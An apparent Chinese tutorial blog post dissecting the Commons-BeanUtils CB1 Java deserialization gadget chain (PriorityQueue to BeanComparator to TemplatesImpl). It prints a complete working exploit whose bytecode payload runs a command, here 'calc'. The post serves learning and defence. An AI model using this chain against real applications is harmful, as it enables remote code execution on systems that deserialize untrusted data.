0x00前言 在CC2和CC4这两条针对CommonsColletions4的链子里,我们用到了java.util.PriorityQueue
,里面执行了java.util.Comparator
接口的compare()
方法。我们能不能找到其他可以利用的 java.util.Comparator
对象呢?
0x01环境搭建
jdk8u65
Maven
commons-collections3.1
commons-beanutils1.9.2
commons-logging1.2
0x02CommonsBeanUtils简介 Apache Commons工具集下除了collections
以外还有BeanUtils
,它主要用于控制JavaBean
,有关JavaBean
的详细介绍,可以看廖雪峰老师的文章
比如Cat类:
1 2 3 4 5 6 7 8 9 public class Cat { private String name="notlus" ; public String getName () { return name; } public void setName (String name) { this .name=name; } }
它包含一个私有属性name
,我们把一组对应的读方法(getter
)和写方法(setter
),称为属性(property
)。例如:name
属性
对应的读方法是String getName()
对应的写方法是setName(String)
PropertyUtils
commons-beanutils中提供了一个静态方法PropertyUtils.getProperty
,让使用者可以直接调用任意JavaBean的getter方法,如:
1 2 3 4 5 6 7 8 import org.apache.commons.beanutils.PropertyUtils; public class Test { public static void main(String[] args)throws Exception{ String name=(String)PropertyUtils.getProperty(new Cat(),"name"); System.out.println(name); } }
此时,commons-beanutils会通过反射 找到name属性的getter
方法,也就是getName
,然后调用,获得返回值。此外,PropertyUtils.getProperty
还支持递归获取属性,比如a对象有属性b,b对象有属性c,就可以通过PropertyUtils.getProperty(a,"b.c")
的方法递归获取属性c
0x02利用链分析 BeanComparator
我们的目的是要找到一个有compare
方法的类,而commons-beanutils包就存在一个符合我们要求的类:BeanComparator
,它继承了java.utils.Comparator
,所以也重写了compare
方法
这个方法需要传入两个对象,如果this.property==null
,则直接比较对象,否则往下分别过去这两个对象的this.property
属性,然后再比较属性的值。
而里面恰好也调用了getProperty
方法,会去调用一个JavaBean
的getter
方法,那么我们的目的就变成了找到一个里面能够执行恶意代码的getter
方法。而TemplatesImpl
这个类就是我们需要找的类,我们先回顾一下利用TemplasImpl
动态加载字节码的链子:
1 2 3 4 5 TemplatesImpl.getOutputProperties() TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance() TemplatesImpl.defineTransletClasses() TransletClassLoade.defineClass()
我们来看一下TemplatesImpl.getOUtputProperties()
里面调用了newTransformer()
,可以用来加载恶意字节码,而且这个方法本身也符合getter
的定义,如果我们往property
里面传入outputProperties
时,这里就会通过反射调用getter
,也就会触发命令执行
写一个测试demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.beanutils.BeanComparator;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;public class TestBeanComparator { public static void main (String[] args) throws Exception{ TemplatesImpl templates=new TemplatesImpl (); byte [] bytes= Files.readAllBytes(Paths.get("D:\\CTF\\Javasec\\classloader\\src\\TemplatesImplDemo\\Calc.class" )); setFieldValue(templates,"_bytecodes" ,new byte [][]{bytes}); setFieldValue(templates,"_name" ,"notlus" ); setFieldValue(templates,"_tfactory" ,new TransformerFactoryImpl ()); BeanComparator beanComparator=new BeanComparator ("outputProperties" ); beanComparator.compare(templates,templates); } public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field=obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj,value); } }
再探CC2——PriorityQueue
接下来找入口类,我们需要找到一个调用了compare
方法、而且可以被序列化的类作为我们的入口类,所以我们得到在CC2中讲到的java.util.PriorityQueue
在反序列化的时候,会调用heapify
方法对元素进行调整,确保元素的顺序正确
heapify
通过siftDown
下沉结点,将数组转为堆结构
当comparator
不为null
时,就会调用siftDownUsingComparator
方法,而siftDownUsingComparator
里面调用了compare
方法
到这里我们就可以连接上前面的BeanComparator
方法了,总结一下利用链,这里我写详细一点:
1 2 3 4 5 6 7 8 9 GadgetChain: PriorityQueue.readObject() PriorityQueue.heapify() PriorityQueue.siftDown() Priority.siftDownUsingComparator() BeanComaparator.compare() PropertyUtils.getProperty() TemplatesImpl.getOutputProperties() TemplatesImpl.newTransformer()
0x03编写exp 待加载的字节码这部分比较简单,只是需要注意继承com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class Calc extends AbstractTranslet { @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } public Calc () { try { Runtime.getRuntime().exec("calc" ); } catch (IOException e) { throw new RuntimeException (e); } } }
我们一步一步来拆解exp,首先就是创建TemplatesImpl
1 2 3 4 5 TemplatesImpl templates=new TemplatesImpl (); byte [] bytes= Files.readAllBytes(Paths.get("D:\\CTF\\Javasec\\classloader\\src\\TemplatesImplDemo\\Calc.class" ));setFieldValue(templates,"_bytecodes" ,new byte [][]{bytes}); setFieldValue(templates,"_name" ,"notlus" ); setFieldValue(templates,"_tfactory" ,new TransformerFactoryImpl ());
然后实例化BeanComarator
,先调用它空的构造函数,如果这里就把参数传入的话后面,add
方法那里会抛出错误。所以后面再通过反射修改
1 BeanComparator beanComparator=new BeanComparator ();
再然后就是创建队列了,这里我们把beanComparator
传进去,因为add
方法本身也会触发利用链,我们就先传入两个无用的值
1 2 3 PriorityQueue priorityQueue=new PriorityQueue (2 ,beanComparator); priorityQueue.add(1 ); priorityQueue.add(2 );
最后是利用反射修改属性:
1 2 setFieldValue(beanComparator,"property" ,"_outputProperties" ); setFieldValue(priorityQueue,"queue" ,new Object []{templates,templates});
最终exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.beanutils.BeanComparator;import org.apache.commons.beanutils.PropertyUtils;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.PriorityQueue;public class CB1 { public static void main (String[] args) throws Exception{ TemplatesImpl templates=new TemplatesImpl (); byte [] bytes= Files.readAllBytes(Paths.get("D:\\CTF\\Javasec\\classloader\\src\\TemplatesImplDemo\\Calc.class" )); setFieldValue(templates,"_bytecodes" ,new byte [][]{bytes}); setFieldValue(templates,"_name" ,"notlus" ); setFieldValue(templates,"_tfactory" ,new TransformerFactoryImpl ()); BeanComparator beanComparator=new BeanComparator (); PriorityQueue priorityQueue=new PriorityQueue (2 ,beanComparator); priorityQueue.add(1 ); priorityQueue.add(2 ); setFieldValue(beanComparator,"property" ,"outputProperties" ); setFieldValue(priorityQueue,"queue" ,new Object []{templates,templates}); serialize(priorityQueue); unserialize("ser.bin" ); } public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field=obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj,value); } public static void serialize (Object obj) throws Exception{ java.io.FileOutputStream fileOut=new java .io.FileOutputStream("ser.bin" ); java.io.ObjectOutputStream out=new java .io.ObjectOutputStream(fileOut); out.writeObject(obj); } public static Object unserialize (String Filename) throws Exception{ java.io.FileInputStream fileIn=new java .io.FileInputStream(Filename); java.io.ObjectInputStream in=new java .io.ObjectInputStream(fileIn); Object obj=in.readObject(); return obj; } }
0x04总结 CB1主要利用的还是Apache Commons Beanutils下的两个类:BeanComparator
和PropertyUtils
。PropertyUtils.getProperty
可以实现可执行危险代码的getter
方法进行调用,而BeanComparator.compare
就可以完成对PropertyUtils.getProperty
的调用,而这个类本身也是一个可以利用的 java.util.Comparator
对象。多调试多总结……